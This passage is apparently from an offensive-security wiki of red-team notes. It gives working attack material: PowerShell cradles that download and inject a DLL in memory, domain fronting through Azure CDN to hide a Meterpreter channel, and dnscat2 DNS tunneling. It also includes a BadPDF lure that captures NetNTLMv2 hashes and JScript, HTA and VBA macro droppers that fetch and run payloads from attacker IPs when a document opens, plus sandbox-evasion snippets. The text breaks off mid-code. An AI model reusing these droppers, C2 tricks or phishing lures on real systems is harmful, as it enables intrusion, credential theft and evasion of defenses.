Copy Invoke-ReflectivePEInjection to your Kali Apache web server and create a small PowerShell download script that downloads and executes it directly from memory.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
$bytes = (New-Object System.Net.WebClient).DownloadData(&#039;http://192.168.45.192/met3.dll&#039;)&lt;br /&gt;
$procid = (Get-Process -Name explorer).Id&lt;br /&gt;
&lt;br /&gt;
IEX(New-Object Net.WebClient).downloadString(&#039;http://192.168.45.192/Invoke-ReflectivePEInjection.ps1&#039;)&lt;br /&gt;
Invoke-ReflectivePEInjection -PEBytes $bytes -ProcId $procid&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Domain Fronting ==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Domain fronting&#039;&#039;&#039; is a technique where someone hides the true destination of their internet traffic by making it appear as though it&#039;s headed to a trusted and well-known website. Once the traffic reaches that trusted site, it&#039;s then redirected to its actual, hidden destination. It&#039;s like sending a letter in an envelope addressed to a trusted friend, but inside that envelope is another envelope addressed to the real recipient.&lt;br /&gt;
&lt;br /&gt;
=== Domain Fronting with Azure CDN ===&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Objective&#039;&#039;&#039;: Host a Meterpreter listener on  ​meterpreter.info​  using Azure&#039;s CDN to proxy requests.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;1. Preliminaries&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
* A controlled domain.&lt;br /&gt;
&lt;br /&gt;
* An Azure subscription to create a CDN.&lt;br /&gt;
&lt;br /&gt;
* An internet-accessible machine.&lt;br /&gt;
&lt;br /&gt;
* Current setup:  ​meterpreter.info​  points to an Ubuntu VM on DigitalOcean (IP:  ​138.68.99.177​ ).&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;2. Setting Up CDN in Azure&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
* From the Home screen, choose  ​Create Resource​ .&lt;br /&gt;
&lt;br /&gt;
* Search for  ​CDN​ .&lt;br /&gt;
&lt;br /&gt;
* Select  ​CDN​  and click  ​Create​ .&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Configuration&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
*  ​Name​ : Any chosen name.&lt;br /&gt;
&lt;br /&gt;
*  ​Subscription​ : To pay for the service.&lt;br /&gt;
&lt;br /&gt;
*  ​Resource Group​ : Create new or use existing (Add  ​-rg​  at end for new).&lt;br /&gt;
&lt;br /&gt;
*  ​RG Location​ : Chosen geographic location.&lt;br /&gt;
&lt;br /&gt;
*  ​Pricing Tier​ : Use  ​Standard Verizon​ .&lt;br /&gt;
&lt;br /&gt;
*  ​CDN Endpoint Name​ : Chosen name with suffix  ​.azureedge.net​ .&lt;br /&gt;
&lt;br /&gt;
*  ​Origin Type​ : Set to  ​Custom Origin​ .&lt;br /&gt;
&lt;br /&gt;
*  ​Origin Hostname​ : The domain hosting the C2 server.&lt;br /&gt;
&lt;br /&gt;
Wait ~90 minutes for Azure to complete the setup.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;3. Disabling Caching&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
* Caching may break the C2 channel.&lt;br /&gt;
&lt;br /&gt;
* Choose  ​Endpoint and Caching rules​ .&lt;br /&gt;
&lt;br /&gt;
* Set  ​Caching Behavior​  to  ​Bypass Cache​ .&lt;br /&gt;
&lt;br /&gt;
* Set  ​Query String Caching Behavior​  to  ​Bypass caching for query strings​ .&lt;br /&gt;
&lt;br /&gt;
Wait up to 30 minutes for propagation.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;4. Testing Connectivity&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;4.1. HTTP Testing&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
sudo python3 -m http.server 80&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;4.2. HTTPS Testing&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
Use a Python script to handle HTTPS.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
from http.server import HTTPServer, SimpleHTTPRequestHandler&lt;br /&gt;
import ssl&lt;br /&gt;
import socketserver  &lt;br /&gt;
httpd = socketserver.TCPServer((&#039;138.68.99.177&#039;, 443), SimpleHTTPRequestHandler) httpd.socket = ssl.wrap_socket(httpd.socket, keyfile=&amp;quot;key.pem&amp;quot;, certfile=&#039;cert.pem&#039;, server_side=True)&lt;br /&gt;
httpd.serve_forever()&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Run the script:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo python3 httpsserver.py&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Verify using  ​curl​ :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
curl [http://offensive-security.azureedge.net http://offensive-security.azureedge.net]&lt;br /&gt;
curl -k [https://offensive-security.azureedge.net https://offensive-security.azureedge.net]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;5. Find Frontable Domain&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
* Frontable domain must be hosted on  ​azureedge.net​ .&lt;br /&gt;
&lt;br /&gt;
* Use  ​FindFrontableDomains​  tool by Steve Borosh.&lt;br /&gt;
&lt;br /&gt;
Installation:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
git clone [https://github.com/rvrsh3ll/FindFrontableDomains https://github.com/rvrsh3ll/FindFrontableDomains]&lt;br /&gt;
cd FindFrontableDomains/&lt;br /&gt;
sudo ./setup.sh&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Example scan for  ​outlook.com​ :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
python3 FindFrontableDomains.py --domain outlook.com&lt;br /&gt;
[-] Enumerating subdomains now for outlook.com&lt;br /&gt;
[-] Searching now in Baidu..&lt;br /&gt;
[-] Searching now in Yahoo..&lt;br /&gt;
[-] Searching now in Google..&lt;br /&gt;
[-] Searching now in Bing..&lt;br /&gt;
[-] Searching now in Ask..&lt;br /&gt;
[-] Searching now in Netcraft..&lt;br /&gt;
[-] Searching now in DNSdumpster..&lt;br /&gt;
[-] Searching now in Virustotal..&lt;br /&gt;
[-] Searching now in ThreatCrowd..&lt;br /&gt;
[-] Searching now in SSL Certificates..&lt;br /&gt;
[-] Searching now in PassiveDNS..&lt;br /&gt;
[-] Total Unique Subdomains Found: 2553&lt;br /&gt;
www.outlook.com&lt;br /&gt;
(...)&lt;br /&gt;
recommended.yggdrasil.outlook.com&lt;br /&gt;
---------------------------------------------------------&lt;br /&gt;
Starting search for frontable domains...&lt;br /&gt;
Azure Frontable domain found: assets.outlook.com outlook-assets.azureedge.net.&lt;br /&gt;
Azure Frontable domain found: assets.outlook.com outlook-assets.afd.azureedge.net.&lt;br /&gt;
Search complete!&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Test potential frontable domain:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
curl --header &amp;quot;Host: offensive-security.azureedge.net&amp;quot; [http://chosen-frontable-domain.com http://chosen-frontable-domain.com]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;6. Inspecting Traffic&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
* Use  ​Wireshark​  to inspect DNS and HTTP requests.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Getting shell using Domain fronting&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Initial setup&#039;&#039;&#039;: Confirm that a domain (e.g., do.skype.com) can be used for domain fronting. This requires:&lt;br /&gt;
The fronting domain is hosted on the same CDN as the attacker’s domain.&lt;br /&gt;
&lt;br /&gt;
* CDN forwards requests based on the HTTP  ​Host​  header.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;HTTPS Inspection&#039;&#039;&#039;: With Wireshark, encrypted HTTPS traffic is sent to the same IP as a previous, legitimate test.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Certificate Details&#039;&#039;&#039;:&lt;br /&gt;
The TLS certificate used in the exchange can be Microsoft&#039;s.&lt;br /&gt;
&lt;br /&gt;
* A certificate can be valid for multiple domains via the Subject Alternative Names (SAN). In this case, it&#039;s valid for 99 different domains. This allows a single certificate to cover multiple domains using the same encryption key.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Payload Creation&#039;&#039;&#039;:&lt;br /&gt;
Use  ​msfvenom​  to create a reverse shell payload.&lt;br /&gt;
&lt;br /&gt;
* The  ​&amp;lt;code&amp;gt;HttpHostHeader&amp;lt;/code&amp;gt;​  option sets the  &amp;lt;code&amp;gt;​Host&amp;lt;/code&amp;gt;​  header in HTTP. In the example:  ​&amp;lt;code&amp;gt;msfvenom -p windows/x64/meterpreter/reverse_http LHOST=do.skype.com LPORT=80 HttpHostHeader=offensive-security.azureedge.net -f exe &amp;gt; http-df.exe​ &amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Listener Configuration&#039;&#039;&#039;:&lt;br /&gt;
Configure a listener on the VM hosting the attacker site.&lt;br /&gt;
&lt;br /&gt;
* Use the Metasploit  ​multi/handler​  exploit with specified parameters to listen for incoming connections using the domain fronting technique.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Payload Execution&#039;&#039;&#039;:&lt;br /&gt;
Start packet capturing tool (e.g., Wireshark).&lt;br /&gt;
&lt;br /&gt;
* Execute the payload.&lt;br /&gt;
&lt;br /&gt;
* Inspect the traffic details.&lt;br /&gt;
&lt;br /&gt;
* The shell connects to the fronted domain&#039;s IP (e.g., do.skype.com). The HTTP Host headers should be set to the attacker’s domain (e.g., offensive-security.azureedge.net).&lt;br /&gt;
&lt;br /&gt;
== DNS Tunneling ==&lt;br /&gt;
&lt;br /&gt;
DNS tunneling is a technique to encapsulate non-DNS traffic over DNS protocols. It can be used for both legitimate and malicious purposes, like bypassing firewalls or exfiltrating data.&lt;br /&gt;
&lt;br /&gt;
=== dnscat2 ===&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Guide: [https://highon.coffee/blog/dns-tunnel-dnscat2-cheat-sheet/ DNS Tunneling dnscat2 Cheat Sheet (highon.coffee)]&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
[https://github.com/iagox86/dnscat2 GitHub - iagox86/dnscat2]&lt;br /&gt;
&lt;br /&gt;
[[File:2023-09-image-11.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Configuration on Ubuntu Machine&#039;&#039;&#039;&lt;br /&gt;
&#039;&#039;&#039;File to Edit&#039;&#039;&#039;:  ​/etc/dnsmasq.conf​ &lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Config Entries&#039;&#039;&#039;:&lt;br /&gt;
Add these entires to the authoritive DNS server in the domain. The 192.168.119.120 is our kali IP.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
server=/tunnel.com/192.168.119.120&lt;br /&gt;
server=/somedomain.com/192.168.119.120&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Restart dnsmasq&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
offsec@ubuntu:~$ sudo systemctl restart dnsmasq&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Installing and Running dnscat2 on Kali Machine&#039;&#039;&#039;&lt;br /&gt;
&#039;&#039;&#039;Installation&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
kali@kali:~$ sudo apt install dnscat2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Starting Server&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
kali@kali:~$ dnscat2-server tunnel.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Client command (example)&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
./dnscat --secret=d3d2f452f24afe4b362df248e2906c1d tunnel.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Running dnscat2 Client on Windows Machine&#039;&#039;&#039;&lt;br /&gt;
&#039;&#039;&#039;Start Command&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dnscat2-v0.07-client-win32.exe tunnel.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Authentication Check&#039;&#039;&#039;&lt;br /&gt;
Verify the authentication string  ​Pedal Envied Tore Frozen Pegged Ware​  on both Kali and Windows sides.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Interacting with Client Session on Kali Machine&#039;&#039;&#039;&lt;br /&gt;
&#039;&#039;&#039;Attach to Session&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dnscat2&amp;gt; session -i 1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Execute Commands Interactively&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
command (client) 1&amp;gt; shell&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Switch to New Session&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
command (client) 1&amp;gt; session -i 2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Tunneling TCP with dnscat2 on Kali Machine&#039;&#039;&#039;&lt;br /&gt;
&#039;&#039;&#039;TCP/IP Tunnels Over DNS&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
* dnscat2 also supports TCP/IP tunnels over DNS. That means we can create a tunnel back to the victim machine so that we can RDP into it from our Kali system.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
command (client) 1&amp;gt; listen 127.0.0.1:3389 172.16.51.21:3389&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Dropper / Phishing ==&lt;br /&gt;
&lt;br /&gt;
=== [BAD]PDF ===&lt;br /&gt;
&lt;br /&gt;
[https://www.infosecmatter.com/metasploit-module-library/?mm=auxiliary/fileformat/badpdf BADPDF Malicious PDF Creator - Metasploit - InfosecMatter]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# This module can either creates a blank PDF file which contains a UNC link which can be used to capture NetNTLM credentials, or if the PDFINJECT option is used it will inject the necessary code into an existing PDF document if possible.&lt;br /&gt;
# Use the metasploit exploit and generate a PDF&lt;br /&gt;
msf6 auxiliary(fileformat/badpdf) &amp;gt; set lhost 10.10.14.8&lt;br /&gt;
lhost =&amp;gt; 10.10.14.8&lt;br /&gt;
msf6 auxiliary(fileformat/badpdf) &amp;gt; set filename job.pdf&lt;br /&gt;
filename =&amp;gt; job.pdf&lt;br /&gt;
msf6 auxiliary(fileformat/badpdf) &amp;gt; run&lt;br /&gt;
# Start a SMB server&lt;br /&gt;
impacket-smbserver share . -smb2support&lt;br /&gt;
# Now send the file through email or upload it to target. The point is to phish someone to open the PDF and then get their NetNTLMv2 hash.&lt;br /&gt;
impacket-smbserver share . -smb2support&lt;br /&gt;
Impacket v0.11.0 - Copyright 2023 Fortra&lt;br /&gt;
[*] Config file parsed&lt;br /&gt;
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0&lt;br /&gt;
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0&lt;br /&gt;
[*] Config file parsed&lt;br /&gt;
[*] Config file parsed&lt;br /&gt;
[*] Config file parsed&lt;br /&gt;
[*] Incoming connection (10.10.110.35,4181)&lt;br /&gt;
[*] AUTHENTICATE_MESSAGE (Domain\Testuser,WORKSTATION-1)&lt;br /&gt;
[*] User WORKSTATION-1\Testuserauthenticated successfully&lt;br /&gt;
[*] Testuser::Domain:aaaaaaaaaaaaaaaa:40646fb31db19903e6a24ac5c3890ac9:01010000000000008054d853f122da0170c426f90c3a2d790000000001001000660049004f006a0070007a006400510003001000660049004f006a0070007a0064005100020010005a006b007a004900670056004e005000040010005a006b007a004900670056004e005000070008008054d853f122da010600040002000000080030003000000000000000000000000020000035dd0d4de6e44f56171932c0f1522230b9e11da16aa17557679e5fb48c1918560a0010000000000000000000000000000000000009001e0063006900660073002f00310030002e00310030002e00310034002e0038000000000000000000&lt;br /&gt;
[*] Closing down connection (10.10.110.35,4181)&lt;br /&gt;
[*] Remaining connections []&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Jscript (.js) ===&lt;br /&gt;
&lt;br /&gt;
* It downloads a file from a specified URL (&amp;quot; [http://192.168.119.120/met.exe http://192.168.1.126/met.exe]&amp;quot;).&lt;br /&gt;
&lt;br /&gt;
* It uses the `MSXML2.XMLHTTP` object (an HTTP request object) to make a GET request to the specified URL and retrieve the file content.&lt;br /&gt;
&lt;br /&gt;
* If the HTTP request is successful (HTTP status code 200), it saves the retrieved content to a local file named &amp;quot;met.exe&amp;quot; using the `ADODB.Stream` object.&lt;br /&gt;
&lt;br /&gt;
* It then uses the `WScript.Shell` object to run the &amp;quot;met.exe&amp;quot; file.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;javascript&amp;quot;&amp;gt;&lt;br /&gt;
var url = &amp;quot; http://192.168.119.120/met.exe&amp;quot;;&lt;br /&gt;
var Object = WScript.CreateObject(&#039;MSXML2.XMLHTTP&#039;);&lt;br /&gt;
Object.Open(&#039;GET&#039;, url, false);&lt;br /&gt;
Object.Send();&lt;br /&gt;
if (Object.Status == 200)&lt;br /&gt;
{&lt;br /&gt;
    var Stream = WScript.CreateObject(&#039;ADODB.Stream&#039;);&lt;br /&gt;
    Stream.Open();&lt;br /&gt;
    Stream.Type = 1;&lt;br /&gt;
    Stream.Write(Object.ResponseBody);&lt;br /&gt;
    Stream.Position = 0;&lt;br /&gt;
    Stream.SaveToFile(&amp;quot;met.exe&amp;quot;, 2);&lt;br /&gt;
    Stream.Close();&lt;br /&gt;
}&lt;br /&gt;
var r = new ActiveXObject(&amp;quot;WScript.Shell&amp;quot;).Run(&amp;quot;met.exe&amp;quot;);&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2023-08-image-3.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
==== Proxy-aware ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;javascript&amp;quot;&amp;gt;&lt;br /&gt;
var url = &amp;quot;http://192.168.119.120/met.exe&amp;quot;;&lt;br /&gt;
var xmlhttp = new ActiveXObject(&amp;quot;MSXML2.XMLHTTP.3.0&amp;quot;);&lt;br /&gt;
// Set proxy details using setProxy method&lt;br /&gt;
xmlhttp.setProxy(2, &amp;quot;http://proxy.example.com:8080&amp;quot;, &amp;quot;&amp;quot;);&lt;br /&gt;
xmlhttp.open(&amp;quot;GET&amp;quot;, url, false);&lt;br /&gt;
xmlhttp.send();&lt;br /&gt;
if (xmlhttp.status === 200) {&lt;br /&gt;
    var stream = new ActiveXObject(&amp;quot;ADODB.Stream&amp;quot;);&lt;br /&gt;
    stream.Open();&lt;br /&gt;
    stream.Type = 1;&lt;br /&gt;
    stream.Write(xmlhttp.responseBody);&lt;br /&gt;
    stream.Position = 0;&lt;br /&gt;
    stream.SaveToFile(&amp;quot;met.exe&amp;quot;, 2);&lt;br /&gt;
    stream.Close();&lt;br /&gt;
}&lt;br /&gt;
var shell = new ActiveXObject(&amp;quot;WScript.Shell&amp;quot;);&lt;br /&gt;
shell.Run(&amp;quot;met.exe&amp;quot;);&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== HTA ===&lt;br /&gt;
&lt;br /&gt;
[https://github.com/In3x0rabl3/OSEP/blob/main/Payloads/Phishing/nonDN2J.hta OSEP/Payloads/Phishing/nonDN2J.hta at main · In3x0rabl3/OSEP (github.com)]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;markup&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
var shell = new ActiveXObject(&amp;quot;WScript.Shell&amp;quot;);&lt;br /&gt;
var re = shell.Run(&amp;quot;powershell -windowstyle hidden bitsadmin /Transfer newjob3 http://192.168.49.173/enc3.txt c:\\windows\\temp\\enc3.txt;certutil -decode c:\\windows\\temp\\enc3.txt c:\\windows\\temp\\bypass.exe;C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\installutil.exe /logfile= /LogToConsole=false /U C:\\windows\\temp\\bypass.exe&amp;quot;)&lt;br /&gt;
//var res = shell.Run(&amp;quot;bitsadmin /Transfer newjob2 http://192.168.49.173/enc2.txt c:\\windows\\temp\\enc1.txt&amp;quot;);&lt;br /&gt;
//var res1 = shell.Run(&amp;quot;timeout 10 &amp;amp;&amp;amp; certutil -decode c:\\windows\\temp\\enc.txt c:\\windows\\temp\\bypass.exe&amp;quot;);&lt;br /&gt;
//var res2 = shell.Run(&amp;quot;timeout 12 &amp;amp;&amp;amp; C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\installutil.exe /logfile= /LogToConsole=false /U C:\\windows\\temp\\bypass.exe&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
self.close();&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;markup&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
var shell = new ActiveXObject(&amp;quot;WScript.Shell&amp;quot;);&lt;br /&gt;
var res = shell.Run(&amp;quot;powershell.exe iwr -uri http://172.21.23.10/inj_runner.exe -outfile C:\\users\\public\\runner.exe; C:\\users\\public\\runner.exe&amp;quot;);&lt;br /&gt;
var ress = shell.Run(&amp;quot;powershell.exe wget http://172.21.23.10/inj_runner.exe -o C:\\users\\public\\runner.exe; C:\\users\\public\\runner.exe&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
self.close();&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== VBA ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;visual&amp;quot;&amp;gt;&lt;br /&gt;
Sub MyMacro()&lt;br /&gt;
	Dim str As String&lt;br /&gt;
	str = &amp;quot;powershell (New-Object System.Net.WebClient).DownloadString(&#039;http://192.168.119.120/run.ps1&#039;) | IEX&amp;quot;&lt;br /&gt;
	Shell str, vbHide&lt;br /&gt;
End Sub&lt;br /&gt;
Sub Document_Open()&lt;br /&gt;
	MyMacro&lt;br /&gt;
End Sub&lt;br /&gt;
Sub AutoOpen()&lt;br /&gt;
	MyMacro&lt;br /&gt;
End Sub&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;visual&amp;quot;&amp;gt;&lt;br /&gt;
#&lt;br /&gt;
The provided VBA code automatically downloads an executable from a specified IP address when a document is opened and then runs it after a 2-second delay.&lt;br /&gt;
Sub Document_Open()&lt;br /&gt;
 MyMacro&lt;br /&gt;
End Sub&lt;br /&gt;
Sub AutoOpen()&lt;br /&gt;
 MyMacro&lt;br /&gt;
End Sub&lt;br /&gt;
Sub MyMacro()&lt;br /&gt;
 Dim str As String&lt;br /&gt;
 str = &amp;quot;powershell (New-Object&lt;br /&gt;
System.Net.WebClient).DownloadFile(&#039;http://192.168.119.120/msfstaged.exe&#039;,&lt;br /&gt;
&#039;msfstaged.exe&#039;)&amp;quot;&lt;br /&gt;
 Shell str, vbHide&lt;br /&gt;
 Dim exePath As String&lt;br /&gt;
 exePath = ActiveDocument.Path + &amp;quot;\msfstaged.exe&amp;quot;&lt;br /&gt;
 Wait (2)&lt;br /&gt;
 Shell exePath, vbHide&lt;br /&gt;
End Sub&lt;br /&gt;
Sub Wait(n As Long)&lt;br /&gt;
 Dim t As Date&lt;br /&gt;
 t = Now&lt;br /&gt;
 Do&lt;br /&gt;
 DoEvents&lt;br /&gt;
 Loop Until Now &amp;gt;= DateAdd(&amp;quot;s&amp;quot;, n, t)&lt;br /&gt;
End Sub&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== EXE to DLL ==&lt;br /&gt;
&lt;br /&gt;
[https://github.com/hasherezade/exe_to_dll hasherezade/exe_to_dll: Converts a EXE into DLL (github.com)]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
#Usage&lt;br /&gt;
#Run exe_to_dll from commandline. Arguments:&lt;br /&gt;
args:&lt;br /&gt;
# Example:&lt;br /&gt;
exe_to_dll.exe test_case1.exe test_case1.dll&lt;br /&gt;
# After the successful conversion you should obtain a DLL exporting a Start function. This is the Original Entry Point of your input application.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Evasion techniques ==&lt;br /&gt;
&lt;br /&gt;
[https://book.ghanim.no/?p=2698 AV Evasion 101: Essential Techniques and Concepts – BOOK_GHANIM]&lt;br /&gt;
&lt;br /&gt;
[https://evasions.checkpoint.com/?utm_source=pocket_saves Evasion techniques (checkpoint.com)]&lt;br /&gt;
&lt;br /&gt;
=== Hypervisor check ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
class Program&lt;br /&gt;
{&lt;br /&gt;
    [DllImport(&amp;quot;hypervisor_check.dll&amp;quot;, CallingConvention = CallingConvention.Cdecl)]&lt;br /&gt;
    public static extern bool is_run_in_hypervisor();&lt;br /&gt;
    static void Main()&lt;br /&gt;
    {&lt;br /&gt;
        bool inHypervisor = is_run_in_hypervisor();&lt;br /&gt;
        Console.WriteLine(inHypervisor ? &amp;quot;Running in a hypervisor!&amp;quot; : &amp;quot;Not running in a hypervisor.&amp;quot;);&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Sleep function ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
// Import dll&lt;br /&gt;
[DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        static extern void Sleep(uint dwMilliseconds);&lt;br /&gt;
// In main&lt;br /&gt;
DateTime t1 = DateTime.Now;&lt;br /&gt;
Sleep(5000);&lt;br /&gt;
